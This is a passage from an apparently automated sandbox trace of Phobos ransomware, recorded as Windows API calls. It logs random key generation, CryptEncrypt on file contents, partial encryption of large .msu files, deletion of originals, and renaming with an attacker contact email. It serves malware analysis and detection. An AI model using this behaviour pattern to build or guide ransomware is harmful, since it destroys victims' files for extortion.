| out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0052.274] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0052.274] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0052.274] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0052.274] CloseHandle (hObject=0x2e4) returned 1 [0052.274] CloseHandle (hObject=0x304) returned 1 [0052.277] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0052.278] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0052.278] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.279] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=144416) returned 1 [0052.279] CloseHandle (hObject=0x304) returned 1 [0052.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0052.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.279] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.279] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0052.279] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0052.279] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.280] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cab0) returned 1 [0052.280] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0052.280] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x23420, lpOverlapped=0x0) returned 1 [0052.300] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x23430, dwBufLen=0x23430 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x23430) returned 1 [0052.300] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x23430, lpOverlapped=0x0) returned 1 [0052.310] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ceb0) returned 1 [0052.310] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0052.310] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0052.310] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0052.310] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0052.310] CryptDestroyKey (hKey=0x10cab0) returned 1 [0052.310] CloseHandle (hObject=0x304) returned 1 [0052.310] CloseHandle (hObject=0x2e4) returned 1 [0052.316] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0052.318] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0052.318] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.319] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=5198099) returned 1 [0052.319] CloseHandle (hObject=0x304) returned 1 [0052.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0052.319] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0052.320] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.320] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0052.320] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0052.320] ReadFile (in: hFile=0x304, lpBuffer=0x2e68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2e68058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0052.361] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0052.361] ReadFile (in: hFile=0x304, lpBuffer=0x2ea8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2ea8058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0052.451] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0052.451] ReadFile (in: hFile=0x304, lpBuffer=0x2ee8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2ee8058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0052.469] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcf0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd5c | out: phKey=0x2a9fd5c*=0x10caf0) returned 1 [0052.469] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0052.469] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd10*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd10*=0xc0080) returned 1 [0052.470] CryptDestroyKey (hKey=0x10caf0) returned 1 [0052.470] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd38 | out: lpNewFilePointer=0x0) returned 1 [0052.470] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x2a9fd48, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd48*=0xc0132, lpOverlapped=0x0) returned 1 [0052.496] SetEndOfFile (hFile=0x304) returned 1 [0052.496] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0052.497] WriteFile (in: hFile=0x304, lpBuffer=0x2f2816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2816a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0052.499] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0052.499] WriteFile (in: hFile=0x304, lpBuffer=0x2f2816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2816a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0052.501] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0052.501] WriteFile (in: hFile=0x304, lpBuffer=0x2f2816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2816a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0052.503] CloseHandle (hObject=0x304) returned 1 [0054.345] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0054.345] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0054.345] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=2141433) returned 1 [0054.345] CloseHandle (hObject=0x304) returned 1 [0054.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0054.346] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0054.346] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0054.346] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0054.346] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0054.346] ReadFile (in: hFile=0x304, lpBuffer=0x2e68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2e68058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0054.672] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0054.673] ReadFile (in: hFile=0x304, lpBuffer=0x2ea8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2ea8058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0054.720] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0054.720] ReadFile (in: hFile=0x304, lpBuffer=0x2ee8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2ee8058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0054.744] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcf0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd5c | out: phKey=0x2a9fd5c*=0x10cdf0) returned 1 [0054.744] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0054.744] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd10*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd10*=0xc0080) returned 1 [0054.745] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0054.745] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd38 | out: lpNewFilePointer=0x0) returned 1 [0054.745] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x2a9fd48, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd48*=0xc0132, lpOverlapped=0x0) returned 1 [0054.757] SetEndOfFile (hFile=0x304) returned 1 [0054.758] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0054.758] WriteFile (in: hFile=0x304, lpBuffer=0x2f2816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2816a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0054.759] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0054.759] WriteFile (in: hFile=0x304, lpBuffer=0x2f2816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2816a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0054.761] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0054.761] WriteFile (in: hFile=0x304, lpBuffer=0x2f2816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2816a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0055.145] CloseHandle (hObject=0x304) returned 1 [0055.545] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.545] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.545] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.545] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.546] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=0) returned 1 [0055.546] CloseHandle (hObject=0x304) returned 1 [0055.546] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.546] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.546] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=0) returned 1 [0055.546] CloseHandle (hObject=0x304) returned 1 [0055.546] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.546] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.546] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77664) returned 1 [0055.546] CloseHandle (hObject=0x304) returned 1 [0055.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0055.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.547] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.547] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.547] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.590] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=95648) returned 1 [0055.590] CloseHandle (hObject=0x304) returned 1 [0055.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0055.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.590] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.591] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.591] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.591] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=99744) returned 1 [0055.591] CloseHandle (hObject=0x304) returned 1 [0055.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0055.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.591] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.591] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.591] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.592] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=76632) returned 1 [0055.592] CloseHandle (hObject=0x304) returned 1 [0055.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0055.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.592] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.592] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.592] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.592] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45472) returned 1 [0055.592] CloseHandle (hObject=0x304) returned 1 [0055.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0055.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.593] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.593] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0055.593] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0055.593] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=75616) returned 1 [0055.593] CloseHandle (hObject=0x304) returned 1 [0055.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0055.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.593] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.594] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) 